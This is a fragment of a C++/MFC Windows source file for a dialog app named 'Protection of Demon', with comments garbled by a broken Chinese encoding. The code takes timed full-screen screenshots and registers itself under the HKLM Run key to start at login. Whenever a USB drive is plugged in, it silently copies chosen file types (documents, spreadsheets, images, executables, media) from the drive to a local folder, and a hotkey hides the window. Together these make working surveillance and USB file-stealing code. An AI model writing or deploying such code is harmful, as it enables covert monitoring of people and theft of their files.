// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
char szTime[MAX_PATH] = {0};
|
|||
|
DWORD dwTime = m_Time.GetPos();
|
|||
|
::wsprintf(szTime, "%ds", dwTime);
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime);
|
|||
|
|
|||
|
::KillTimer(m_hWnd, 1);
|
|||
|
::SetTimer(m_hWnd, 1, 1000*dwTime, NULL);
|
|||
|
|
|||
|
::WritePrivateProfileString("Screen Capture", "Time", szTime, m_szPrivateFilePath);
|
|||
|
|
|||
|
*pResult = 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
OPENFILENAME stOF;
|
|||
|
char szScreenCapturePath[MAX_PATH] = {0};
|
|||
|
::RtlZeroMemory(&stOF, sizeof(stOF));
|
|||
|
stOF.lStructSize = sizeof(stOF);
|
|||
|
stOF.hwndOwner = m_hWnd;
|
|||
|
stOF.lpstrFilter = "all files(*.*)\0*.*\0\0";
|
|||
|
stOF.lpstrFile = szScreenCapturePath;
|
|||
|
stOF.nMaxFile = MAX_PATH;
|
|||
|
stOF.Flags = OFN_PATHMUSTEXIST;
|
|||
|
::GetOpenFileName(&stOF);
|
|||
|
|
|||
|
GetCurrentFile(szScreenCapturePath, "");
|
|||
|
::lstrcpy(m_szScreenCapturePath, szScreenCapturePath);
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath);
|
|||
|
|
|||
|
::WritePrivateProfileString("Screen Capture", "Screen Capture Save Path", szScreenCapturePath, m_szPrivateFilePath);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BOOL CProtectionOfDemonDlg::SaveScreenCapture(char *lpszSavePath)
|
|||
|
{
|
|||
|
char szPath[MAX_PATH] = {0};
|
|||
|
HWND hDesktop = ::GetDesktopWindow();
|
|||
|
HDC hdc = ::GetDC(hDesktop);
|
|||
|
HDC mdc = ::CreateCompatibleDC(hdc);
|
|||
|
DWORD dwWidth = ::GetSystemMetrics(SM_CXFULLSCREEN);
|
|||
|
DWORD dwHeight = ::GetSystemMetrics(SM_CYFULLSCREEN);
|
|||
|
HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight);
|
|||
|
HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp);
|
|||
|
::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
|
|||
|
::SelectObject(mdc, holdbmp);
|
|||
|
|
|||
|
CTime time = CTime::GetCurrentTime();
|
|||
|
::CreateDirectory(m_szScreenCapturePath, NULL);
|
|||
|
::wsprintf(szPath, "%s%.4d-%.2d-%.2d-%.2d-%.2d-%.2d.jpg", m_szScreenCapturePath,
|
|||
|
time.GetYear(), time.GetMonth(), time.GetDay(),
|
|||
|
time.GetHour(), time.GetMinute(), time.GetSecond());
|
|||
|
|
|||
|
CImage *pImage = new CImage;
|
|||
|
pImage->Attach(bmp);
|
|||
|
pImage->Save(szPath);
|
|||
|
|
|||
|
delete pImage;
|
|||
|
pImage = NULL;
|
|||
|
::DeleteObject(bmp);
|
|||
|
::DeleteDC(mdc);
|
|||
|
::ReleaseDC(hDesktop, hdc);
|
|||
|
|
|||
|
return TRUE;
|
|||
|
}
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckAutorun()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
char szFilePath[MAX_PATH] = {0};
|
|||
|
::GetModuleFileName(NULL, szFilePath, MAX_PATH);
|
|||
|
HKEY hKey;
|
|||
|
::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
|
|||
|
int iState = ((CButton *)GetDlgItem(IDC_CHECK_AUTORUN))->GetCheck();
|
|||
|
if(1 == iState) // Checked
|
|||
|
{
|
|||
|
::RegSetValueEx(hKey, "DemonProtectAutoRun", 0, REG_SZ, (BYTE *)szFilePath, ::lstrlen(szFilePath));
|
|||
|
::WritePrivateProfileString("Auto Run", "AutoRun", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::RegDeleteValue(hKey, "DemonProtectAutoRun");
|
|||
|
::WritePrivateProfileString("Auto Run", "AutoRun", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
::RegCloseKey(hKey);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
char szBuf[MAX_PATH] = {0};
|
|||
|
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_HOUR), szBuf, MAX_PATH);
|
|||
|
DWORD dwHour = atoi(szBuf);
|
|||
|
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_MINUTE), szBuf, MAX_PATH);
|
|||
|
DWORD dwMinute = atoi(szBuf);
|
|||
|
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_SECOND), szBuf, MAX_PATH);
|
|||
|
DWORD dwSecond = atoi(szBuf);
|
|||
|
m_dwCountTime = dwSecond + 60*dwMinute + 60*60*dwHour;
|
|||
|
::KillTimer(m_hWnd, 2);
|
|||
|
::SetTimer(m_hWnd, 2, 1000, NULL);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
OPENFILENAME stOF;
|
|||
|
char szCopyFilePath[MAX_PATH] = {0};
|
|||
|
::RtlZeroMemory(&stOF, sizeof(stOF));
|
|||
|
stOF.lStructSize = sizeof(stOF);
|
|||
|
stOF.hwndOwner = m_hWnd;
|
|||
|
stOF.lpstrFilter = "all files(*.*)\0*.*\0\0";
|
|||
|
stOF.lpstrFile = szCopyFilePath;
|
|||
|
stOF.nMaxFile = MAX_PATH;
|
|||
|
stOF.Flags = OFN_PATHMUSTEXIST;
|
|||
|
::GetOpenFileName(&stOF);
|
|||
|
|
|||
|
GetCurrentFile(szCopyFilePath, "");
|
|||
|
::lstrcpy(m_szCopyFilePath, szCopyFilePath);
|
|||
|
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath);
|
|||
|
|
|||
|
::WritePrivateProfileString("U Disk Copy", "U Disk Copy Save Path", szCopyFilePath, m_szPrivateFilePath);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[0] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_ALL_FILES))->GetCheck();
|
|||
|
if(1 == iState[0]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "All Files", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "All Files", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[1] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_EXE))->GetCheck();
|
|||
|
if(1 == iState[1]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "exe", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "exe", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[2] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_JPG_PNG_BMP))->GetCheck();
|
|||
|
if(1 == iState[2]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[3] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_DOC_DOCX))->GetCheck();
|
|||
|
if(1 == iState[3]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "doc_docx", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "doc_docx", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[4] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_XLS_XLSX))->GetCheck();
|
|||
|
if(1 == iState[4]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[5] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_PPT_PPTX))->GetCheck();
|
|||
|
if(1 == iState[5]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[6] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP3_WAV))->GetCheck();
|
|||
|
if(1 == iState[6]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "mp3_wav", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "mp3_wav", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv()
|
|||
|
{
|
|||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
iState[7] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV))->GetCheck();
|
|||
|
if(1 == iState[7]) // Checked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "1", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
else // Unchecked
|
|||
|
{
|
|||
|
::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "0", m_szPrivateFilePath);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
BOOL CProtectionOfDemonDlg::OnDeviceChange(UINT nEventType, DWORD dwData)
|
|||
|
{
|
|||
|
switch(nEventType)
|
|||
|
{
|
|||
|
default:
|
|||
|
{
|
|||
|
char szDriver[4] = "A:\\";
|
|||
|
for(szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
|
|||
|
{
|
|||
|
if(DRIVE_REMOVABLE == ::GetDriveType(szDriver))
|
|||
|
{
|
|||
|
MYSTRUCT stMS;
|
|||
|
stMS.lpThis = this;
|
|||
|
::lstrcpy(stMS.szDriver, szDriver);
|
|||
|
::lstrcpy(stMS.szSavePath, m_szCopyFilePath);
|
|||
|
HANDLE hThread = ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UDiskCopyThread, (LPVOID)(&stMS), 0, NULL);
|
|||
|
::WaitForSingleObject(hThread, INFINITE);
|
|||
|
}
|
|||
|
}
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
return true;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
UINT CProtectionOfDemonDlg::UDiskCopyThread(LPVOID lpVoid)
|
|||
|
{
|
|||
|
MYSTRUCT *pstMS = (MYSTRUCT *)lpVoid;
|
|||
|
CProtectionOfDemonDlg *pThis = (CProtectionOfDemonDlg *)pstMS->lpThis;
|
|||
|
char szDriver[4] = {0};
|
|||
|
::lstrcpy(szDriver, pstMS->szDriver);
|
|||
|
szDriver[2] = '\0';
|
|||
|
pThis->SearchAndCopyFile(szDriver, pstMS->szSavePath);
|
|||
|
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::SearchAndCopyFile(char *strSrc, char *strDest)
|
|||
|
{
|
|||
|
char *strFileName = new char[256];
|
|||
|
// <20><><EFBFBD><EFBFBD>Ŀ¼
|
|||
|
::CreateDirectory(strDest, NULL);
|
|||
|
// <20><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
::wsprintf(strFileName, "%s\\*.*", strSrc);
|
|||
|
WIN32_FIND_DATA FileData;
|
|||
|
HANDLE hHandle = ::FindFirstFile(strFileName, &FileData);
|
|||
|
if(INVALID_HANDLE_VALUE != hHandle)
|
|||
|
{
|
|||
|
do
|
|||
|
{
|
|||
|
char *strTempSrc = new char[MAX_PATH];
|
|||
|
char *strTempDest = new char[MAX_PATH];
|
|||
|
::wsprintf(strTempSrc,"%s\\%s", strSrc, FileData.cFileName);
|
|||
|
::wsprintf(strTempDest,"%s\\%s", strDest, FileData.cFileName);
|
|||
|
// <20><>֪Ϊ<D6AA>Σ<EFBFBD><CEA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> . <20>ַ<EFBFBD><D6B7><EFBFBD>һ<EFBFBD><D2BB>Ҫ<EFBFBD><D2AA><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
|||
|
if('.' == FileData.cFileName[0])
|
|||
|
{
|
|||
|
continue; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
|||
|
}
|
|||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD>Ŀ¼,<2C><><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еݹ<D0B5><DDB9><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
if(FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
|||
|
{
|
|||
|
SearchAndCopyFile(strTempSrc, strTempDest);
|
|||
|
}
|
|||
|
if(1 == iState[0]) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
char *strFormat = new char[10];
|
|||
|
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
|||
|
GetFormat(FileData.cFileName, strFormat);
|
|||
|
// exe<78><65>
|
|||
|
if(1 == iState[1])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "exe"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
// ͼƬ<CDBC><C6AC>
|
|||
|
if(1 == iState[2])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "jpg") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "png") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "bmp"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
// Doc<6F><63>
|
|||
|
if(1 == iState[3])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "doc") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "docx"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
// PPT<50><54>
|
|||
|
if(1 == iState[4])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "ppt") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "pptx"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
// xls<6C><73>
|
|||
|
if(1 == iState[5])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "xls") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "xlsx"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
// mp3<70><33>
|
|||
|
if(1 == iState[6])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "mp3") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "wav"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
// mp4<70><34>
|
|||
|
if(1 == iState[7])
|
|||
|
{
|
|||
|
if(0 == ::lstrcmpi(strFormat, "mp4") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "avi") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "rmvb") ||
|
|||
|
0 == ::lstrcmpi(strFormat, "mkv"))
|
|||
|
{
|
|||
|
::CopyFile(strTempSrc, strTempDest, true);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
delete strFormat;
|
|||
|
strFormat = NULL;
|
|||
|
}
|
|||
|
delete strTempSrc;
|
|||
|
delete strTempDest;
|
|||
|
strTempSrc = NULL;
|
|||
|
strTempDest = NULL;
|
|||
|
}while(::FindNextFile(hHandle, &FileData));
|
|||
|
}
|
|||
|
::FindClose(hHandle);
|
|||
|
|
|||
|
delete strFileName;
|
|||
|
strFileName = NULL;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
void CProtectionOfDemonDlg::GetFormat(char *strSrc, char *strDest)
|
|||
|
{
|
|||
|
int len = strlen(strSrc);
|
|||
|
bool bFlag = false;
|
|||
|
int j = 0;
|
|||
|
for(int i = 0; i < len; i++)
|
|||
|
{
|
|||
|
if(bFlag)
|
|||
|
{
|
|||
|
strDest[j++] = strSrc[i];
|
|||
|
}
|
|||
|
if('.' == strSrc[i])
|
|||
|
{
|
|||
|
bFlag = true;
|
|||
|
}
|
|||
|
}
|
|||
|
strDest[j] = '\0';
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
LRESULT CProtectionOfDemonDlg::OnHotKey(WPARAM wParam,LPARAM lParam)
|
|||
|
{
|
|||
|
//wParam<61><6D>ע<EFBFBD><D7A2><EFBFBD>ȼ<EFBFBD><C8BC><EFBFBD>ID<49><44>lParam<61>ǹ<EFBFBD><C7B9>ڰ<EFBFBD><DAB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
|||
|
if(1000 == wParam)
|
|||
|
{
|
|||
|
if(m_bHidden) // <20><><EFBFBD><EFBFBD>
|
|||
|
{
|
|||
|
::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left,
|
|||
|
m_rcOldRect.bottom-m_rcOldRect.top, FALSE);
|
|||
|
::ShowWindow(m_hWnd, SW_HIDE);
|
|||
|
m_bHidden = FALSE;
|
|||
|
}
|
|||
|
else // <20><>ʾ
|
|||
|
{
|
|||
|
::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left,
|
|||
|
m_rcOldRect.bottom-m_rcOldRect.top, FALSE);
|
|||
|
::ShowWindow(m_hWnd, SW_SHOW);
|
|||
|
m_bHidden = TRUE;
|
|||
|
}
|
|||
|
}
|
|||
|
return 0;
|
|||
|
}
|